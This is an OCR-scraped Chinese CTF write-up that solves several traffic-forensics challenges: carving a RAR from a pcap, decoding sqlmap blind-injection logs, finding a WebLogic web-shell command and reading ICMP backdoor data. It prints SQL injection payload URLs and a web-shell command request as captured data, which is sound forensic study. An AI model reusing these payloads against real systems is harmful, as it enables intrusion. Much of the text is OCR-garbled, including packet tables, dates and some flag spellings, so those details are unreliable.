390007	756D27.gz	791813	7BBAA7	7F686F.gz	B3FD6.zlib
390007.zlib	75A48B.gz	791FE2	7BC738.gz	7F7693.gz	B4006
398006	764472.gz	79349A.gz	7BDE40.gz	7F7DC1	B4006.zlib
39F91A 🖓 🏹 + 🖓	765C52	799528	7C0476	7F81D1	B4026
3A0CB3.gz	7660EE	799D84	7C0D13.gz	7FB533.gz	B4026.zlib
3A7DDB.gz	76667B.gz	79A55A	7DF9F7.gz	805627.gz	B439D
3A889E	766C19.gz	79AD41.gz	7E052E	8141A3.gz	B439D.zlib
3AC17E	76EBE8.gz	7A3F83.gz	7E0FCF.gz	818AC6	C39482.gz
3BFC6C.gz	76FA73.gz	7A4A6F.gz	7E1BE4.gz S	838D12	EB47.gz 🔗
3D063E.gz	774FC5.gz	7A52F2.gz	7E21CF.gz	8C4E9E	FB97.gz
40F207.gz	78199E.gz	7A5FA0	7E2A51	8C4E9E.zlib	flag.gif
450CF8.gz	78A617.gz	7A62EE	7F2C25	A06CB.gz	
47D8E6.gz	78AEE0	7A7468.gz	7F3676	A663D	
<pre>root@kali:~/</pre>	Blatand 1.pd	capng.extra	cted#	ht	ps://blog.csdn.net/Auuuuuuu

打开 右下角的 flag.gif 得到 flag SYC{this_is_bluetooth}



抓到一只苍蝇

过滤得到HTTP流量,追踪HTTP流,发现一个用户通过qq邮箱上传了一个fly.rar



压缩包大小通过 size字段可知为 525701

继续过滤,从数据包的结构上下图五个数据包是数据传输的过程。点开可以看到第一个到第四个的长度 为**131436**,最后一个为**1777**,应该是剩余的最后一部分数据

http && http	o.request	t.method== POST
. 163 2015-02-25 32:07157.003.909 192.100.1.100 209 2015-02-25 32107157.07729 192.100.1.101 431 203-04-25 32107156.05920 192.106.1.101	52.831,fts.qq.com HTTP 52.8311,fts.qq.com HTTP 52.8311,fts.qq.com HTTP 52.8311,fts.qq.com HTTP 52.8311,fts.qq.com HTTP	1 18 19 17 7 7 7 7 10 10 17 17 18 19 19 19 19 19 19 19 19 19 19 19 19 19
> Hypertext Transfer	sz.mil.ftm.qq.com	71 YOT //Tu_ualle/Iff@oreast/fecosof7fff00051eb-1ff@oreast/fecosof7fff0005 mttp/1.1
V Data (131436 bytes))	
Data: abcd987600 [Length: 131436]	0003ef000000	000002015c01307cb0f705d906
> Hypertext Transfer Protocol > Data (1777 bytes)	l	
Data: abcd9876000003ef00 [Length: 1777]	000000000006e1013	307cb0f705d906_

但是131436*4+1777=527521 ! = 525701,这是由于分块传输多带了TCP的文件头,每个文件头大小规范一致

所以文件头的大小就是

131436*4+1777=527571-525701=1820/5=364 需要每个文件去掉其364字节的文件头。

提取数据,选中对应数据包,按顺序重命名为 12345

misc_fly.pcapng

文件(<u>F</u>	<u>)</u> 编辑(<u>E</u>)	视图(⊻)	<u>跳转(G</u>)	捕获(<u>C</u>)	分标	ff <u>(A</u>)	统计(<u>S</u>
打打	「开(<u>O</u>) 「开最近(<u>R</u>)		Ctrl+O	•	打开	Ŧ(0)	保存
- 	Hex 转储5	≩λ(I)			_	Sour	
×	闭(<u>C</u>)	J / (1)	Ctrl+W		402	192.	168.1
伢	存(S)		Ctrl+S		369	192	168.3
另	存为(A)		Ctrl+Sł	nift+S	.739	192.	168.3
Ŷ	件集合			•	990 218	168.1	
Ę	出特定分组				089	192.	168.3
Ę	出分组解析	结果		•	'531	192.	168.3
Ę	出分组字节	流(<u>B</u>)	Ctrl+Sł	nift+X	168	192.	168.3
Ę	出 PDU 到	文件			'305	192.	168.3
5	出 TLS 会词	密钥			649	192.	168.3
5	出对象			•	0	DICON	۸
ŧ	ED(P)		Ctrl+P		H	HTTP.	
ìE	(<u>U</u>)		Ctrl+Q	log.csd	l gten.n	MF SMB	uuuu
	1/ 1.		· · · ·				



linux下使用 dd 命令 合成文件

语法: dd [选项]

if =输入文件(或设备名称)。

of =输出文件(或设备名称)。

ibs = bytes 一次读取bytes字节,即读入缓冲区的字节数。

skip = blocks 跳过读入缓冲区开头的ibs*blocks块。

obs = bytes 一次写入bytes字节,即写入缓冲区的字节数。

bs = bytes 同时设置读/写缓冲区的字节数(等于设置ibs和obs)。 即: (dd if=文件名 bs=输入输出块的大小 skip=偏移量 of=新的文件名)

dd if=1 bs=1 skip=364 of=1.1

dd if=2 bs=1 skip=364 of=2.1

dd if=3 bs=1 skip=364 of=3.1

dd if=4 bs=1 skip=364 of=4.1

dd if=5 bs=1 skip=364 of=5.1

root@kali:~/ctf# ls 1 2 3 4 5 root@kali:~/ctf# dd if=1 bs=1 skip=364 of=1.1 记录了131072+0 的读入 记录了131072+0 的与出 131072 bytes (131 kB, 128 KiB) copied, 0.228129 s, 575 kB/s root@kali:~/ctf# dd if=2 bs=1 skip=364 of=2.1 记录了131072+0 的诗入 131072 bytes (131 kB, 128 KiB) copied, 0.228951 s, 572 kB/s root@kali:~/ctf# dd if=3 bs=1 skip=364 of=3.1 记录了131072+0 的诗入 记录了131072+0 的诗人 记录了131072+0 的诗人 131072 bytes (131 kB, 128 KiB) copied, 0.233962 s, 560 kB/s root@kali:~/ctf# dd if=5 bs=1 skip=364 of=5.1 记录了1413+0 的诗入 记录了1413+0 的诗马出 1413 bytes (1.4 kB, 1.4 KiB) copied, 0.00266204 s, 531 kB/s root@kali:~/ctf# ls 1 .1.2 2.1.3 3.1 4 4.1 5 5.1 root@kali:~/ctf#

cat拼接得到压缩包 fly.rar

cat 1.1 2.1 3.1 4.1 5.1 > fly.rar



fly.rar打开报错,存在加密,winhex打开

伪加密,修改加密位,将0x84位置改为0x80即可

fly.zip																			
Offse	et	0	1	2	3	4	5	6	7	8	9	A	в	С	D	E	F	ANSI ASCII 🔺	
000000	000 5	52	61	72	21	1A	07	00	CF	90	73	00	00	0D	00	00	00	Rar! Ï s	
000000	010 0	00	00	00	00	F9	81	74	84	90	2D	00	3D	05	08	00	86	ù t,, - = †	
000000	020 2	22	0F	00	02	25	2D	$^{\rm ED}$	F1	09	5C	59	46	1D	35	08	00	" %-íñ \YF 5	
000000	030 2	20	00	00	00	66	6C	61	67	2E	74	78	74	00	FO	79	03	flag.txt ðy	
000000	040 4	C	18	1E	15	15	0C	89	15	DC	16	1D	EF	A3	72	4B	90	L % Ü ï£rK	
000000	050 E	30	90	80	24	3A	52	23	05	22	02	C8	41	C4	84	82	40	° \$:R# " ÈAĂ,,0	
000000	060 9	Ð	04	3A	EC	24	87	44	ЗA	58	A1	18	08	81	92	6F	60	:ì\$‡D:X; 'o`	
000000	070 2	2В	00	93	2C	9C	66	E5	33	19	99	C5	CE	3C	F6	в9	98	+ ``,œfå3 ™ÅÎ<ö¹~	
000000	080 9	98	F4	63	86	1C	E7	0C	C4	C5	88	B8	в7	25	84	84	41	~ôct ç ĂĂ^, ∙%""A	
000000	090 5	53	A7	02	04	14	10	15	DD	96	23	0E	84	2C	08	97	F1	S§ Ý−≢ ", −ñ	

解压得到flag.txt文件,打开乱码,修改后缀为 exe 运行发现.....苍蝇







使用 foremost 分离图片,在一堆苍蝇图片底部中找到一个二维码

foremost -v -i flag.exe



扫描得到flag flag{m1Sc_oxO2_Fly}



日志审计

下载得到 Access.log文件, Unicode解码发现是 dvwa靶场的sql盲注过程

搜索flag字段得到如下,sqlmap通过二分法注入爆破对应字段



网上copy的脚本,提取字符

```
# coding:utf-8
import re
import urllib
f = open('C:\\access.log','r')
lines = f.readlines()
datas = []
for line in lines:
   t = urllib.unquote(line)
   if '1765' in t and 'flag' in t: # 过滤出与flag相关,正确的猜解
        datas.append(t)
flag_ascii = {}
for data in datas:
    matchObj = re.search( r'LIMIT 0,1\),(.*?),1\)\)>(.*?) AND', data)
    if matchObj:
        key = int(matchObj.group(1))
       value = int(matchObj.group(2))+1
       flag ascii[key] = value
                               # 使用字典,保存最后一次猜解正确的ascii码
flag = ''
for value in flag_ascii.values():
    flag += chr(value)
print flag
```

得到flag flag{sqlm4p_15_p0werful}

flag{sqlm4p_15_p0werful}

Weblogic

题目描述:

黑客攻击了Weblogic应用,请分析攻击过程,找出Weblogic的主机名。Tip: 主机名为十六进制。 直接过滤得到http数据包,追踪HTTP流,观察发现爆破口令,后台部署war包上传shell得到权限



使用wireshark 搜索 hostname字符串关键字,数据包658 662 存在该关键字,发现命令执行操作

Tas Source Destination Protocol Longh Info 658 2018-11-01 18/38193-056-0528 217.17.0.1 217.17.0.2 HTTP 77951 /shack2/index.jsp.HTTP/1.1 (application/s-source-form-unlencoded) 659 2018-11-01 18/38193-056-0528 217.17.0.1 170.17.0.2 172.17.0.1 TCP 229 473-c1118/sct/07001 > 55581 [FSH, ACL 5eq-26697 Acci-40457 Min123392 Len-353 T59a-126761 669 2018-11-01 18/3819.573801 172.17.0.2 172.17.0.1 TCP 4138 453-c1118/sct/07001 > 55581 [FSH, ACL 5eq-26697 Acci-40457 Min123392 Len-4017 T5ya-1267612 661 2018-11-03 18/38175.773801 172.17.0.2 TCP 65 5564 + 455-c1118/sct/07001 [ACL 5eq-26697 Acci-40457 Min123392 Len-4017-257612/158ct	TS T 67
• 65 2018-11-03 109:1995.06220 127.17.0.1 172.17.0.2 HTP 727 POST / shack2/index_ips HTT/1.1. (application/s-wareform-whencedes) 062 2018-11-03 109:1995.7712.10.2 172.17.0.1 TCP 723 POST / shack2/index_ips HTT/1.1. (application/s-wareform-whencedes) 662 2018-11-03 109:1995.7712.10.2 172.17.0.1 TCP 723 POST / shack2/index_ips HTT/1.1. (application/s-wareform-whencedes) 662 2018-11-03 109:1995.77180 1272.17.0.2 172.17.0.1 TCP 4138 efsis-callback(Y001) - \$5568 (#sk, ACK) 5962 (#sk-ca4657 i#in:12392 (#m=472 Tska) 247561 662 2018-11-03 109:0195.77188 1172.17.0.2 172.17.0.2 TCP 656344 = shis-callback(Y001) (ACK 5964) efsis-callback(Y001) (ACK 5964) efsis-callbac	TS T 67
692 2018-11-03 193:91395 7137.17.17.0.2 17.17.0.1 TCP 229 473-c110act(7001) >5568 [Fps, AC] 592:205995 Acta4057 [http::21321 cm-33 TSPa1-20761 602 2018-11-03 193:91395 79307 17.17.0.2 17.17.0.1 TCP 438 473-c110act(7001) >5568 [Fps, AC] 592:205995 Acta4057 [http::21321 cm-3017 TSPa1-20763] 602 2018-11-03 193:91:19,07384 172.17.0.1 172.17.0.2 TCP 66 5564 + af53-callbact(7001) ACK Seq44057 Ack-273922 kin=144832 (zm-0 TSva1-267632 TSec	TS T 67
660 2018-11-03 10:30:19.973801 172.17.0.2 172.17.0.1 TCP 4138 afs3-callback(7001) + 54504 [PSH, ACK] Seq=269850 Ack=40457 Win=123392 Len=4072 Tsval=267633 661 2018-11-03 10:30:19.973848 472.17.0.1 172.17.0.2 TCP 665 54504 + afs3-callback(7001) (ACK) Seq=40457 Ack=273922 Win=184832 Len=0 Tsval=2676312 Tsvcn	T 67
661 2018-11-03 10:30:19.973848 172.17.0.1 172.17.0.2 TCP 6654504 + afs3-callback(7001) [ACK] Seq=40457 Ack=273922 Win=184832 Len=0 TSval=2676312 TSecn	67
+ 662 2018-11-03 10:30:19.973933 172.17.0.2 172.17.0.1 HTTP 2146 HTTP/1.1 200 OK (Text/ntml)	67
663 2018-11-03 10:30:19.974056 172.17.0.1 172.17.0.2 TCP 66 54504 → afs3-callback(7001) [ACK] Seq=40457 Ack=276002 Win=184832 Len=0 TSval=2676312 TSecr	0/
664 2018-11-03 10:30:52.648574 172.17.0.2 172.17.0.1 TCP 66 afs3-callback(7001) → 54504 [FIN, ACK] Seq=276002 Ack=40457 Win=123392 Len=0 TSval=2679580	ec
665 2018-11-03 10:30:52.665758 172.17.0.1 172.17.0.2 TCP 66 54504 → afs3-callback(7001) [FIN, ACK] Seq=40457 Ack=276003 Win=184832 Len=0 TSval=2679582	ec
666 2018-11-03 10:30:52.665826 172.17.0.2 172.17.0.1 TCP 66 afs3-callback(7001) + 54504 [ACK] Seq=276003 Ack=40458 Win=123392 Len=0 TSval=2679582 TSecr	67
667 2018-11-03 10:30:55.716860 172.17.0.1 172.17.0.2 TCP 74 54506 → afs3-callback(7001) [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=2679887	ec
668 2018-11-03 10:30:55.716910 172.17.0.2 172.17.0.1 TCP 74 afs3-callback(7001) → 54506 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSY	-2
669 2018-11-03 10:30:55.716966 172.17.0.1 172.17.0.2 TCP 66 54506 → afs3-callback(7001) [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=2679887 TSecr=2679887	
670 2018-11-03 10:30:55.718022 172.17.0.1 172.17.0.2 TCP 66 54506 → afs3-callback(7001) [FIN, ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=2679887 TSecr=2679	7
671 2018-11-03 10:30:55.719185 172.17.0.2 172.17.0.1 TCP 66 afs3-callback(7001) → 54506 [FIN, ACK] Seq=1 Ack=2 Win=29056 Len=0 Tsval=2679887 TSecr=2679	7 -
672 2018-11-03 10:30:55.719263 172.17.0.1 172.17.0.2 TCP 66 54506 → afs3-callback(7001) [ACK] Seq=2 Ack=2 Win=29312 Len=0 TSval=2679887 TSecr=2679887	
¢	>
Connection: keep-alive\r\n	^
Upgrade-Insecure-Requests: 1\r\n	
\r\n	
[Full request URI: http://192.168.8.106:7001/shack2/index.isp]	
[HTTP request 16/16]	
Prev request in frame: 652]	
[Response in frame: 662]	
File Data: 19 bytes	
HTML Form URL Encoded: application/x-www-form-urlencoded	
> Form item: "cmd" = "hostname"	
> Form item: "m" = "CMDS"	~
0760 22 42 22 44 50 70 64 47 68 4c 70 27 24 25 50 62 2020Wdc bi 07450b	0
1270 47 33 39 54 57 33 44 66 4a 50 72 77 69 77 63 50 GIONADE DEVENUE	
0280 4d 4b 76 71 73 31 4a 59 76 21 2d 31 34 36 38 30 MKvgs13Y v/-14680	
0290 31 36 37 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 1672 Connection	
02a0 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 55 70 : keep-a live-Up	
02b0 67 72 61 64 65 2d 49 6e 73 65 63 75 72 65 2d 52 grade-In secure-R	
02c0 65 71 75 65 73 74 73 3a 20 31 0d 0a 0d 0a 63 66 equests: 1	
0200 04 3d 68 6f 73 74 6e 61 6d 65 26 6d 3d 43 4d 44 9=hostna meXm=CMD	
8564 23 23 Laboration 2	

如图所示,得到16进制flag,flag{6ad4c5a09043}



信息提取

题目描述如下

sqlmap用过吗

打开流量包,看到很多注入语句,判断出sqlmap使用二分法进行搜索布尔盲注

« w	ireshark - 4	9出 - HTTP 对象	列表	-	C	-	×
分组	主机名	内容类型 大	2h	文件名			^
36	10.0.0.20	1 text/html 15	5 bytes	message.php?id=7992			
46	10.0.0.20	1 text/html 2	2 bytes	message.php?id=1%2C%2C.%27.%29%5D%22%5D			
56	10.0.0.20	1 text/html 63	3 bytes	message.php?id=5432-5431			
66	10.0.0.20	1 text/html 42	2 bytes	message.php?id=1%29%20AND%203700%3D5811%20AND%20%288309%3D8309			
76	10.0.0.20	1 text/html 42	2 bytes	message.php?id=1%29%20AND%201922%3D1922%20AND%20%288362%3D8362			
86	10.0.0.20	1 text/html 20	6 bytes	message.php?id=1%20AND%205345%3D8796			
96	10.0.0.20	1 text/html 69	9 bytes	message.php?id=1%20AND%201922%3D1922			
106	10.0.0.20	1 text/html 20	6 bytes	message.php?id=1%20AND%204619%3D3526			
116	10.0.0.20	1 text/html 11	16 bytes	message.php?id=1%20AND%20%28SELECT%20CHR%28118%29%26CHR%28100%29%26CHR%2880%29%26CHR%2875%29%20FROM%20MSysAccessObjects%29%3DCHR%28118%29%	26CHF	R%281	0
126	10.0.0.20	1 text/html 12	21 bytes	message.php?id=1%20AND%20%28SELECT%20CHR%28118%29%7C%7CCHR%28100%29%7C%7CCHR%2880%29%7C%7CCHR%2875%29%20FROM%20SYSIBM.SYSDUMMY1%29%3DCH	R%281	118%2	95
136	10.0.0.20	1 text/html 57	7 bytes	message.php?id=1%20AND%20%28SELECT%20%27vdPK%27%20FROM%20RDB%24DATABASE%29%3D%27vdPK%27			
146	10.0.0.20	1 text/html 14	44 bytes	message.php?id=1%20AND%20%28SELECT%20CHAR%28118%29%7C%7CCHAR%28100%29%7C%7CCHAR%2880%29%7C%7CCHAR%2875%29%20FROM%20INFORMATION_SCHEMA.S	/STEM	USER	S!
156	10.0.0.20	1 text/html 53	3 bytes	message.php?id=1%20AND%20%28SELECT%20%27vdPK%27%20FROM%20VERSIONS%29%3D%27vdPK%27			
166	10.0.0.20	1 text/html 14	44 bytes	message.php?id=1%20AND%20%28SELECT%20CHAR%28118%29%2BCHAR%28100%29%2BCHAR%2880%29%2BCHAR%2875%29%29%3DCHAR%28118%29%2BCHAR%28100%29%2BC	HAR%2	2880%	2!
176	10.0.0.20	1 text/html 14	44 bytes	message.php?id=1%20AND%20%28SELECT%20CHAR%28118%29%2BCHAR%28100%29%2BCHAR%2880%29%2BCHAR%2875%29%29%3DCHAR%2874%29%2BCHAR%28103%29%2BCHAR%2880%29%2BCHAR%2874%29%2BCHAR%28103%29%2BCHAR%2880%29%2BCHAR%2874%29%2BCHAR%28103%29%2BCHAR%2880%29%2BCHAR%2874%2810%29%2BCHAR%2810%29%2BCHAR%2880%29%2BCHAR%2874%2810%29%2BCHAR%2810%29%2BCHAR%2880%29%2BCHAR%2874%29%2BCHAR%2810%29%2BCHAR%2880%29%2BCHAR%2874%29%2BCHAR%2810%29%2BCHAR%2810%29%2BCHAR%2880%29%2BCHAR%2875%29%2BCHAR%2874%29%2BCHAR%2810%29%2BCHAR%2880%29%2BCHAR%2875%29%2BCHAR%2810%29%2BCHAR%2880%29%2BCHAR%2874%29%2BCHAR%2810%29%2BCHAR%2874%29%2BCHAR%2874%2%29%2BCHAR%2874%29%2BCHAR%2874%29%2BCHAR%2874%29%2BCHAR%2874%29%2BCHAR%2874%29%2BCHAR%2874%274%274%274%28	AR%28	8103%	2!
186	10.0.0.20	1 text/html 90	0 bytes	message.php?id=1%20AND%20%28SELECT%200x7664504b%29%3D0x7664504b			
196	10.0.0.20	1 text/html 43	7 bytes	message.php?id=1%20AND%20%28SELECT%200x7664S04b%29%3D0x4a676751			
206	10.0.0.20	1 text/html 20	06 bytes	message.php?id=1%20AND%20%28SELECT%201926%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7173636371%2C%28SELECT%20%28CASE%20WHEN%20%281926%	63D192	26%29	68
216	10.0.0.20	1 text/html 12	25 bytes	message.php?id=1%20AND%20EXTRACTVALUE%289200%2CCONCAT%280x5c%2C0x7173636371%2C%28SELECT%20%28CASE%20WHEN%20%289200%3D9200%29%20THEN%201%201%20	:LSE%2	200962	01
226	10.0.0.20	1 text/html 12	27 bytes	message.php?id=1%20AND%20UPDATEXML%284749%2CCONCAT%280x2e%2C0x7173636371%2C%28SELECT%20%28CASE%20WHEN%20%284749%3D4749%29%20THEN%201%20ELS	E%200	%20EM	AE
236	10.0.0.20	1 text/html 23	37 bytes	message.php?id=1%20AND%20ROW%286280%2C7280%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7173636371%2C%28SELECT%20%28CASE%20WHEN%20%286280	%3D62	280%2	9!
246	10.0.0.20	1 text/html 19	97 bytes	message.php?id=1%20AND%208950%3DCAST%28%28CHR%28113%29%7C%7CCHR%28115%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%7C%7CCHR%28115%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%28113%29%7C%7CCHR%28115%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%289%20%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%7C%7C	28SELE	ECT%2	0
256	10.0.0.20	1 text/html 20	06 bytes	message.php?id=1%20AND%204591%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%2899%29%2BCHAR%2899%29%2BCHAR%28113%29%	28%28	BSELEC	T
266	10.0.0.20	1 text/html 24	42 bytes	message.php?id=1%20AND%209441%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7CCHR%28115%29%7C%7C%7C%7C%7C%7C%7C%7CCHR%28115%29%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%	628999	%29%3	/C
276	10.0.0.20	1 text/html 10	6 bytes	message.php?id=-5073			
286	10.0.0.20	1 text/html 20	09 bytes	message.php?id=-5399%200R%20%28SELECT%206398%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7173636371%2C%28SELECT%20%28CASE%20WHEN%20%2863	38%3 D	63989	62
296	10.0.0.20	1 text/html 12	24 bytes	message.php?id=1%20OR%20EXTRACTVALUE%286799%2CCONCAT%280x5c%2C0x7173636371%2C%285ELECT%20%28CASE%20WHEN%20%286799%3D6799%29%20THEN%201%20EL	SE%20	096201	EN
306	10.0.0.20	1 text/html 12	26 bytes	message.php?id=1%20OR%20UPDATEXML%287447%2CCONCAT%280x2e%2C0x7173636371%2C%28SELECT%20%28CASE%20WHEN%20%287447%3D7447%29%20THEN%201%20ELSE%	6200%	20EN0)9 Y

网上的脚本, copy使用 需要先导出分组解析结果 为 CSV文件格式

```
import re
import urllib.parse
# 更改为自己从wireshark提取出的csv文件地址
f = open(r"D:\temp\sqlmap.csv")
lines = f.readlines()
datas = []
# 转码,保存进datas
for line in lines:
    datas.append(urllib.parse.unquote(line))
lines = [] # 懒得改,就复用一下,这个lines保存注入flag的url
for i in range(len(datas)): # 提取出注入flag的url
    if datas[i].find("isg.flags ORDER BY `value` LIMIT 0,1),1,1))>64") > 0:
       lines = datas[i:]
       break
flag = \{\}
# 用正则匹配
macth1 = re.compile(r"LIMIT 0,1\),(\d*?),1\)\)>(\d*?) HTTP/1.1")
macth2 = re.compile(r'"HTTP","(\d*?)","HTTP/1.1 200 OK')
for i in range(0, len(lines), 2): # 因为有返回响应, 所以步长为2
    get1 = macth1.search(lines[i])
   if get1:
       key = int(get1.group(1)) # key保存字符的位置
       value = int(get1.group(2)) # value保存字符的ascii编码
       get2 = macth2.search(lines[i + 1])
       if get2:
           if int(get2.group(1)) > 450:
               value += 1
       flag[key] = value # 用字典保存flag
f.close()
result = ''
for value in flag.values():
    result += chr(value)
print(result)
# ISG{BLind_SQl_InJEcTi0N_DeTEcTEd}
```

最后得到flag ISG{BLind_SQI_InJEcTiON_DeTEcTEd}

特殊后门

题目描述:

从通信方式的角度看,后门可分为http/https型、irc型、dns型、icmp型等等。安全人员抓到一份可疑的流量包,请从中分析出利用某种特殊协议传输的数据。

某种特殊的协议,尝试得知为 icmp协议 过滤

搜索flag,得到下图效果

	255 2018-10-12 16:42:40.501671 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	1d-0x0001, 5	eq-0/0, tt1-64	(no response	tound1)
1	256 2018-10-12 16:42:40.501810 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	257 2018-10-12 16:42:40.501920 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	258 2018-10-12 16:42:40.502108 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	259 2018-10-12 16:42:40.502232 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	260 2018-10-12 16:42:40.502478 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id-0x0001, s	eq-0/0, ttl-64	(no response	found1)
	261 2018-10-12 16:42:40.502605 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	262 2018-10-12 16:42:40.502722 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	263 2018-10-12 16:42:40.502881 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	264 2018-10-12 16:42:40.503008 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	265 2018-10-12 16:42:40.503143 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id-0x0001, s	eq-0/0, ttl-64	(no response	found1)
	266 2018-10-12 16:42:40.503345 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, tt1=64	(no response	found1)
	267 2018-10-12 16:42:40.503510 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	268 2018-10-12 16:42:40.503636 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	269 2018-10-12 16:42:40.503762 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found!)
	270 2018-10-12 16:42:40.503885 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id-0x0001, s	eq=0/0, ttl=64	(no response	found!)
	271 2018-10-12 16:42:40.504012 192.168.238.138	123.123.123.123	ICMP	55 Echo (ping) request	id=0x0001, s	eq=0/0, ttl=64	(no response	found1)
ċ								
5	Frame 256: 55 bytes on wire (440 bits), 55 bytes a	captured (440 bits)						
>	Ethernet II, Src: Vmware 3b:39:9a (00:0c:29:3b:39	:9a), Dst: Vmware f7:	f5:6a (00:50	:56:f7:f5:6a)				
	Internet Protocol Version 4, Src: 192,168,238,138	(192,168,238,138), D	st: 123.123.	123.123 (123.123.123.123)				
	0100 = Version: 4							
	0101 = Header Length: 20 bytes (5)							
	> Differentiated Services Field: 0x00 (DSCP: CS0,	ECN: Not-ECT)						
	Total Length: 41							
	Identification: 0x25af (9647)							
	> Flags: 0x4000, Don't fragment							
	Time to live: 64							
	Protocol: ICMP (1)							
	Header checksum: 0x6efb [validation disabled]							
	[Header checksum status: Unverified]							
	······ *** *** *** *** **** **** ****							

查看第一个数据包,发现提示



继续观察,发现数据包依次存在单个字符



拼接得到 flag flag{lcmp_backdoor_can_transfer-some_infomation}